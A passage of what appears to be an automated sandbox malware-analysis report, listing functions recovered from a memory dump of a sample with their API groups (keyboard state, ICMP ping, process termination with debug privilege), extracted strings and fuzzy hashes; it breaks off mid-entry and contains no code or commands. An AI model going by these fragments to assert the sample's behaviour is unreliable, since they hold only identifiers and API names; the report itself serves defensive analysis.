                                                            • Opcode Fuzzy Hash: 2ad0c9b06366bd18a744c10cd610a20c9196bc34b39a8e3022a1d8394ddcf546
                                                            • Instruction Fuzzy Hash: 6F41ACB26087818BEB308F25E444B6EB3A1FB9A790F504275DA9D83B98DF3CD444CB40
                                                            Function 00007FF69DBA7BA0 Relevance: 16.6, APIs: 11, Instructions: 106keyboardCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: State$Async$Keyboard
                                                            • String ID:
                                                            • API String ID: 541375521-0
                                                            • Opcode ID: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
                                                            • Instruction ID: 5cfaab66ead4055c283cd4c87bc604c52829813610196b7b6e4c3bad35ef3499
                                                            • Opcode Fuzzy Hash: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
                                                            • Instruction Fuzzy Hash: FF4191ABE0C6C565FB719B64A4003792BD0EB17B54F4940F9C7CA832CAFE5DA8948371
                                                            Function 00007FF69DBC66B4 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 182comCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
                                                            • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                            • API String ID: 636576611-1287834457
                                                            • Opcode ID: 8c345a5387659736622c9a6324c4ad6192b7bfb9348048406af0be26295ea1d3
                                                            • Instruction ID: 10f69345e86eaf52b954859c5775d68181b7b03a128365ee2a5a5366f2499961
                                                            • Opcode Fuzzy Hash: 8c345a5387659736622c9a6324c4ad6192b7bfb9348048406af0be26295ea1d3
                                                            • Instruction Fuzzy Hash: 8C715DA2B08A0681EF349F2AD4405BD2760FB56FD8B5454B2DE9E87769EF3CE445C340
                                                            Function 00007FF69DBC2A18 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 174networkfileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Icmp$CleanupCloseCreateEchoFileHandleSendStartupgethostbynameinet_addr
                                                            • String ID: 5$Ping
                                                            • API String ID: 1486594354-1972892582
                                                            • Opcode ID: e10d707c2ccc8c8e229b93576497dc969839fee377a1bbf9481b12c7ce409e4d
                                                            • Instruction ID: 65073d660e014c7f033a34054281e1ac5725ad23351235650045cd04c5830b94
                                                            • Opcode Fuzzy Hash: e10d707c2ccc8c8e229b93576497dc969839fee377a1bbf9481b12c7ce409e4d
                                                            • Instruction Fuzzy Hash: EB716DA2A0968286EF30DB2AD49437D77A0FF86B90F0184B1DA9DC7799EF7CD5418740
                                                            Function 00007FF69DB6D504 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
                                                            • API String ID: 3215553584-2617248754
                                                            • Opcode ID: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
                                                            • Instruction ID: 9dc23c313c376def4c2cc6d63a7741e1b0e943704796348e74d7aa76c27605d5
                                                            • Opcode Fuzzy Hash: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
                                                            • Instruction Fuzzy Hash: FD418DB6A05B4589F760CF25E8517AD33A4FB09398F404676EE9C87B98EE3CD025C344
                                                            Function 00007FF69DBA76D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 77windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: HandleLoadMessageModuleStringwprintf
                                                            • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                            • API String ID: 4007322891-4153970271
                                                            • Opcode ID: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
                                                            • Instruction ID: cf4dd5dadb2258bce0a3f6544db1cfe13d191dee20a459e40a8925771cf6a467
                                                            • Opcode Fuzzy Hash: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
                                                            • Instruction Fuzzy Hash: 073171B6A1CA82D2DB20DB11E4446BD6360FB85BC4F8041B2EA8D8779DEF7CD506D740
                                                            Function 00007FF69DB9E08C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSend$CtrlParent$ClassName
                                                            • String ID: ComboBox$ListBox
                                                            • API String ID: 2573188126-1403004172
                                                            • Opcode ID: 69a74828d989a32538d8bf5129078fe410d4974b60f3824db6dc34d50caf6ec7
                                                            • Instruction ID: fb214d15793a1e6eec332ed0ab5be28c7de69681b884c31babc07874b11d60c5
                                                            • Opcode Fuzzy Hash: 69a74828d989a32538d8bf5129078fe410d4974b60f3824db6dc34d50caf6ec7
                                                            • Instruction Fuzzy Hash: 2F31D9B5B0978182EA209B15E8141BC63A1FF9ABE0F4442B1DAED877D9EF3CD505C750
                                                            Function 00007FF69DBACA98 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 59networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: wcscpy$CleanupStartupgethostbynamegethostnameinet_ntoa
                                                            • String ID: 0.0.0.0
                                                            • API String ID: 2479661705-3771769585
                                                            • Opcode ID: 281b95de85becf4cb0c172ae07bcd082ee5a72526fdd79f54f4593c1c2c2b1be
                                                            • Instruction ID: f1126b17f557161a6193db37e80e097e82573bba0340ef264bac763b0b90db45
                                                            • Opcode Fuzzy Hash: 281b95de85becf4cb0c172ae07bcd082ee5a72526fdd79f54f4593c1c2c2b1be
                                                            • Instruction Fuzzy Hash: 582174A5A0C54681EA309B11E4843BD63A5EF96BD0F8041B6D5CDC76EDFE7CD544C350
                                                            Function 00007FF69DBE0D7C Relevance: 15.2, APIs: 10, Instructions: 209windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ItemMenu$InfoWindow$CheckCountCtrlEnabledFocusLongMessagePostProcRadio
                                                            • String ID:
                                                            • API String ID: 2672075419-0
                                                            • Opcode ID: 7f60c88404643dc1ac8f4702e655552145117f454e5503c1890abb71af915063
                                                            • Instruction ID: da99e826149979ead3251c27e59e4b253df4287a63b2b70f311a8f5103c074be
                                                            • Opcode Fuzzy Hash: 7f60c88404643dc1ac8f4702e655552145117f454e5503c1890abb71af915063
                                                            • Instruction Fuzzy Hash: 9E9180B6F096528AE7708F65D5443BD23A1FB46B88F5041B5DE8D8369DEE38E40683A0
                                                            Function 00007FF69DBA92E4 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                            • String ID:
                                                            • API String ID: 2156557900-0
                                                            • Opcode ID: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
                                                            • Instruction ID: 64faa93815f9eb4756e4ac773d0d7af49efef029f9c9908b3a0ee4073e30d250
                                                            • Opcode Fuzzy Hash: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
                                                            • Instruction Fuzzy Hash: 86316FA4B0860386FF708F65A85463972F1EB597A0F5050B8CD8EC3758FE3DE8869750
                                                            Function 00007FF69DB9F7F4 Relevance: 14.5, APIs: 2, Strings: 6, Instructions: 471COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                            • API String ID: 0-1603158881
                                                            • Opcode ID: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
                                                            • Instruction ID: d3bbd35ecf3064d8a7b9a0a57d88e875fd12d73deaa297c74124ad43d4b296c9
                                                            • Opcode Fuzzy Hash: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
                                                            • Instruction Fuzzy Hash: F412C9E2B19A8392EE788F31C8512F962A1FF6A798F444571D79DD6298FF3CE541C200
                                                            Function 00007FF69DBC767C Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 231COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Variant$Init$Clear
                                                            • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$_NewEnum$get__NewEnum
                                                            • API String ID: 3467423407-1765764032
                                                            • Opcode ID: 0d292a3f0f15bdf0dc2b489c3a05645491a3d66a64ca4070d3452dd040457e0f
                                                            • Instruction ID: 986ed89838d80dff45cecea256674401761d9c5fc3607b2a2de17405e91a92ef
                                                            • Opcode Fuzzy Hash: 0d292a3f0f15bdf0dc2b489c3a05645491a3d66a64ca4070d3452dd040457e0f
                                                            • Instruction Fuzzy Hash: 85A18EBAB08B4296EF30CF69E4406AD67A0FB89B98F440172DA8D83758EF7CD545C740
                                                            Function 00007FF69DBC7054 Relevance: 13.9, APIs: 9, Instructions: 373COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: FreeString$FileFromLibraryModuleNamePathQueryType
                                                            • String ID:
                                                            • API String ID: 1903627254-0
                                                            • Opcode ID: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
                                                            • Instruction ID: 707349caebfba323d8e52515069548aea22520123cac8bf6a7e8e44da702f99b
                                                            • Opcode Fuzzy Hash: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
                                                            • Instruction Fuzzy Hash: B1024DA7A18A8686DF60DF29D4442BD7760FB86B94F104072EB8E87768EF3CD549C740
                                                            Function 00007FF69DB9D780 Relevance: 13.6, APIs: 9, Instructions: 54memorythreadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                            • String ID:
                                                            • API String ID: 1957940570-0
                                                            • Opcode ID: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
                                                            • Instruction ID: 468800a4adf788f86673528bc3c51bb862a899b5efa4c65861db1af42dedabd8
                                                            • Opcode Fuzzy Hash: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
                                                            • Instruction Fuzzy Hash: D3213CB2519B8186E720CF52E44836977A0F79AFDAF4441B5DACD07B58DF7CD1488740
                                                            Function 00007FF69DBE0B24 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 142windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageReleaseScreenSendText
                                                            • String ID: @GUI_DRAGFILE$@GUI_DROPID
                                                            • API String ID: 3721556410-2107944366
                                                            • Opcode ID: 587eb60e7772e36f3e392801f2e4a607ca3d480d8a76847679925989c46b6468
                                                            • Instruction ID: b94d4933ef1cc1cec9328502ec3a0d0d8f0047f353f1379fa9f7f33ea8354a4f
                                                            • Opcode Fuzzy Hash: 587eb60e7772e36f3e392801f2e4a607ca3d480d8a76847679925989c46b6468
                                                            • Instruction Fuzzy Hash: 6861A0B2A14A52C5EB20DF61D8805FD3774FB45B98F5011B2EE9D93AA9EE38E446C340
                                                            Function 00007FF69DBCE580 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 138COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                            • String ID: SeDebugPrivilege
                                                            • API String ID: 2533919879-2896544425
                                                            • Opcode ID: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
                                                            • Instruction ID: 89e9f7dc073ecfbbb57a61d1218f5c6ae9f0a62a17a98cc752fdede780406752
                                                            • Opcode Fuzzy Hash: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
                                                            • Instruction Fuzzy Hash: 465185A2B0868286EF20DF25C59037C7B60FF96B85F0584B1D68D8779AEF7CE5058704
                                                            Function 00007FF69DBAA070 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 135windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Menu$Item$CountCreateInfoInsertPopup
                                                            • String ID: 2$P
                                                            • API String ID: 93392585-1110268094
                                                            • Opcode ID: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
                                                            • Instruction ID: b45ed3dc3222bafc6f9f32d1631e434ee624bff6e39215068fe7ac5524a9f60e
                                                            • Opcode Fuzzy Hash: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
                                                            • Instruction Fuzzy Hash: 5E51C172E0874289F7708F65E4403BD77E1FB42768F244176CA9EA3698EF39E4958720
                                                            Function 00007FF69DBAAD94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 70windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: IconLoad_invalid_parameter_noinfo
                                                            • String ID: blank$info$question$stop$warning
                                                            • API String ID: 4060274358-404129466
                                                            • Opcode ID: a20ad64d4c1f0ff606b53834bd72c3c9b388472799770000db1625183137431d
                                                            • Instruction ID: cf25530f37ff9fff2af01529e34584b3d958b7633fd3842c2f4a69b9b5bca2f6
                                                            • Opcode Fuzzy Hash: a20ad64d4c1f0ff606b53834bd72c3c9b388472799770000db1625183137431d
                                                            • Instruction Fuzzy Hash: 522171A5A0C78381FA749B15E9002B963A9EF4A790F9450B1DD8DD6799FF7CE8428310
                                                            Function 00007FF69DBAC5C8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
